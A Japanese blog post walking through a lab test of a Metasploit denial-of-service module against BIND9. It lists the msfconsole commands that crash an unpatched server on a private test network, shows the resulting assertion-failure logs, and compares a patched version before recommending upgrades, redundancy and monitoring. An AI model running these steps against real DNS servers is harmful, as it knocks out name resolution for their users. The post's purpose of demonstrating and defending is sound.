BIND9用のMetasploit Module を使ってみる【攻撃編】

f:id:appleseedj073:20161107232032p:plain

準備ができたら攻撃検証開始!

攻撃環境

やられサーバ(CentOS 6.6)

  • IP 192.168.10.21

 

攻撃側(Kali Linux

  • IP 192.168.10.20

やられサーバ側でBINDの起動を確認

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113210210p:plain

BINDの起動を確認できたら攻撃側へ

 

攻撃側でとりあえずnmapしてみた。

f:id:appleseedj073:20161113210524p:plain

53番のオープンを確認

 

攻撃開始

 msfconsole

 use auxiliary/dos/dns/namedown

f:id:appleseedj073:20161113213951p:plain

optionの確認

 show options

f:id:appleseedj073:20161113214337p:plain

optionsの入力

 set RHOSTS 192.168.10.21

設定の確認

f:id:appleseedj073:20161113214702p:plain

 

必要事項を入力したら実行!

 run

f:id:appleseedj073:20161113215033p:plain

攻撃が成功しているようなメッセージが表示される。

 

やられサーバ側を確認する。

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113215853p:plain

BINDの起動が確認できない。

ログの確認

 cat /var/log/messages

f:id:appleseedj073:20161113220225p:plain

Nov 13 21:48:57 dns-bind-server named[21461]: client 192.168.10.20#48681: request has invalid signature: TSIG xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.ZGiJyWKHqULvV9IY2sCflhqeyjVbt5agK3rf4E2FpuiMIdDyDT3OeVtzcAfW4: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返す。

Nov 13 21:48:58 dns-bind-server named[21461]: buffer.c:127: REQUIRE(b->used + n <= b->length) failed

 buffer.cのREQUIRE(b->used + n <= b->length)でエラーになって failedと返している。

Nov 13 21:48:58 dns-bind-server named[21461]: exiting (due to assertion failure)

 次の行ではassertion failureでexiting(終了)している。

 

ちなみに脆弱性の残っていないバージョンに対して攻撃をした場合

攻撃側

f:id:appleseedj073:20161113224631p:plain

失敗してるようなメッセージ・・・。

 

やられ側

ログの確認

f:id:appleseedj073:20161113224801p:plain

Nov 13 22:42:52 dns-bind-server named[15820]: client 192.168.10.20#44603: request has invalid signature: TSIG Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.0EYEI747SGaPV6RzJsPkst5S6TYTyAqmfEIvx9IGF1sBm4pmXu8ueYzoGy9dh: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返すけどbuffer.cのエラーを返したりしてBINDが停止することはない。

 

結論

 出来ることならバージョンアップするのが良いと思う。それがダメならセカンダリを用意するなどして冗長化したほうがいいと思う。セカンダリは、BIND以外の名前解決サービスで運用するほうがいいかも。

 それも、ダメならクーロンでサービスの死活監視をして停止したらすぐに管理者に通報すると同時に停止したサービスを起動するようにしたほうがいいかも。(個人的な意見です)